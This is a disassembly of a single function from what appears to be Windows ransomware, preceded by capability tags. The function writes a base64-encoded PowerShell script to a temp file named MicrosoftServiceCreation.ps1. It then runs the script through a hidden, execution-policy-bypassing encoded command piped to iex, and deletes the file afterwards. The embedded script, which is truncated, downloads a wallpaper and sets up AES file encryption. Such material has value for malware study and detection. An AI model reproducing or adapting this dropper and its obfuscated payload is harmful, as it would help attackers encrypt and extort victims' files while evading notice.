Function at 0x401591
Capabilities:
Delete file
Execute command
Get common file path

Disassembly:
push rbp
push rbx
sub rsp, 0x368
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.hideWindow__
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
mov dword [rbp + 0x2dc], eax
lea rax, [rbp + 0x2bf]
mov rcx, rax
call fcn.00446250
lea rdx, [rbp + 0x2bf]
lea rax, [rbp + 0x2b0]
mov r8, rdx
lea rdx, str.MicrosoftServiceCreation.ps1
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x2da]
mov rcx, rax
call fcn.00446250
lea rdx, [rbp + 0x2da]
lea rax, [rbp + 0x2d0]
mov r8, rdx
lea rdx, [0x0048801d]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x2c0]
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2a0]
lea rcx, [rbp + 0x2b0]
lea rdx, [rbp + 0x2c0]
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__std::basic_string_char__std::ch
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.0044f8e0
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.0044f8e0
lea rax, [rbp + 0x2da]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.0044f8e0
lea rax, [rbp + 0x2bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.0045dd10
lea rax, [rbp + 0x2a0]
mov rcx, rax
call method.std::string.c_str___const
mov rdx, rax
lea rax, [rbp + 0xb0]
mov r8d, 0x10
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.open_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x2db]
mov rcx, rax
call fcn.00446250
lea rdx, [rbp + 0x2db]
lea rax, [rbp + 0x290]
mov r8, rdx
lea rdx, str._auto
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x2db]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x280]
lea rdx, str.cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AcABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AdwBpAG4AIABoAGkAZABkAGUAbgAgAC0AYwAgAGUAYwBoAG8AIABJACAAQQBtACAAUgB1AG4AbgBpAG4AZwA7AA0ACgANAAoAIwAjACMAIwAjAA0ACgANAAoAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAYwB1AHIAbAAgAC0AbwB1AHQAZgBpAGwAZQAgACIAJABlAG4AdgA6AHQAbQBwAFwAaQBtAGEAZwBlAF8AYwBnAC4AagBwAGcAIgAgACIAVwBhAGwAbABwAGEAcABlAHIAIABVAHIAbAAiAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAATgBlAHcALQBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQBLAGUAeQAoACkAIAB7ACAAIAANAAoAWwBDAG0AZABsAGUAdABCAGkAbgBkAGkAbgBnACgAKQBdACAAIAANAAoAIABbAE8AdQB0AHAAdQB0AFQAeQBwAGUAKABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AUwBlAGMAdQByAGUAUwB0AHIAaQBuAGcAXQApAF0AIAAgAA0ACgBbAE8AdQB0AHAAdQB0AFQAeQBwAGUAKABbAFMAdAByAGkAbgBnAF0ALAAgAFAAYQByAGEAbQBlAHQAZQByAFMAZQB0AE4AYQBtAGUAPQAnAFAAbABhAGkAbgBUAGUAeAB0ACcAKQBdACAAIAANAAoAUABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdACAAIAANAAoAIAAgACAAIABbAFYAYQBsAGkAZABhAHQAZQBTAGUAdAAoACcAQQBFAFMAJwAsACcARABFAFMAJwAsACcAUgBDADIAJwAsACcAUgBpAGoAbgBkAGEAZQBsACcALAAnAFQAcgBpAHAAbABlAEQARQBTACcAKQBdACAAIAANAAoAIAAgACAAIABbAFMAdAByAGkAbgBnAF0AJABBAGwAZwBvAHIAaQB0AGgAbQA9ACcAQQBFAFMAJwAsACAAIAANAAoAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAGYAYQBsAHMAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMgApAF0AIAAgAA0ACgAgACAAIAAgAFsASQBuAHQAXQAkAEsAZQB5AFMAaQB6AGUALAAgACAADQAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAYQByAGEAbQBlAHQAZQByAFMAZQB0AE4AYQBtAGUAPQAnAFAAbABhAGkAbgBUAGUAeAB0ACcAKQBdACAAIAANAAoAIAAgACAAIABbAFMAdwBpAHQAYwBoAF0AJABBAHMAUABsAGEAaQBuAFQAZQB4AHQAKQAgACAADQAKACAAIAAgACAAUAByAG8AYwBlAHMAcwAgACAAIAAgAHsAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAAgACAAIAAgACAAIAAgAHsAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEMAcgB5AHAAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMAeQBtAG0AZQB0AHIAaQBjAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJABBAGwAZwBvAHIAaQB0AGgAbQApACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABQAFMAQgBvAHUAbgBkAFAAYQByAGEAbQBlAHQAZQByAHMALgBDAG8AbgB0AGEAaQBuAHMASwBlAHkAKAAnAEsAZQB5AFMAaQB6AGUAJwApACkAewAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAHIAeQBwAHQAbwAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAJABLAGUAeQBTAGkAegBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQwByAHkAcAB0AG8ALgBHAGUAbgBlAHIAYQB0AGUASwBlAHkAKAApACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABBAHMAUABsAGEAaQBuAFQAZQB4AHQAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7ACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQwByAHkAcAB0AG8ALgBLAGUAeQApACAAfQAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAewAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEMAcgB5AHAAdABvAC4ASwBlAHkAKQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBBAHMAUABsAGEAaQBuAFQAZQB4AHQAIAAtAEYAbwByAGMAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAB9ACAAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgACAAIAAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8AIAAgACAAIAAgACAAIAAgACAAfQAgAH0AIAB9ACAAIAANAAoARgB1AG4AYwB0AGkAbwBuACAAUAByAG8AdABlAGMAdAAtAEYAaQBsAGUAIAAgAHsAIAAgAA0ACgBbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKABEAGUAZgBhAHUAbAB0AFAAYQByAGEAbQBlAHQAZQByAFMAZQB0AE4AYQBtAGUAPQAnAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACcAKQBdACAAIAANAAoAWwBPAHUAdABwAHUAdABUAHkAcABlACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUASQBuAGYAbwBbAF0AXQApAF0AIAAgAA0ACgBQAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEALAAgAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQA9ACQAdAByAHUAZQAsACAAVgBhAGwAdQBlAEYA
mov rcx, rax
call fcn.0044f960
lea rdx, [rbp + 0x280]
lea rax, [rbp + 0xb0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____const
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0xb0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rcx, str.cd__temp___powershell__ExecutionPolicy_Bypass__win_hidden__e_JABjAG8AbQBtAGEAbgBkAD0AZwBjACAAJABlAG4AdgA6AHQAbQBwAFwAXABNAGkAYwByAG8AcwBvAGYAdABTAGUAcgB2AGkAYwBlAEMAcgBlAGEAdABpAG8AbgAuAHAAcwAxAA0ACgBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAbwBtAG0AYQBuAGQAKQApACAAfAAgAGkAZQB4AA
call sym.system
lea rax, [rbp + 0x2a0]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
call sym.remove
mov ebx, 0
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.0044f8e0
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.0044f8e0
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.0045e0d0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.0044f8e0
mov eax, ebx
jmp 0x4018f6
add rsp, 0x368
pop rbx
pop rbp
ret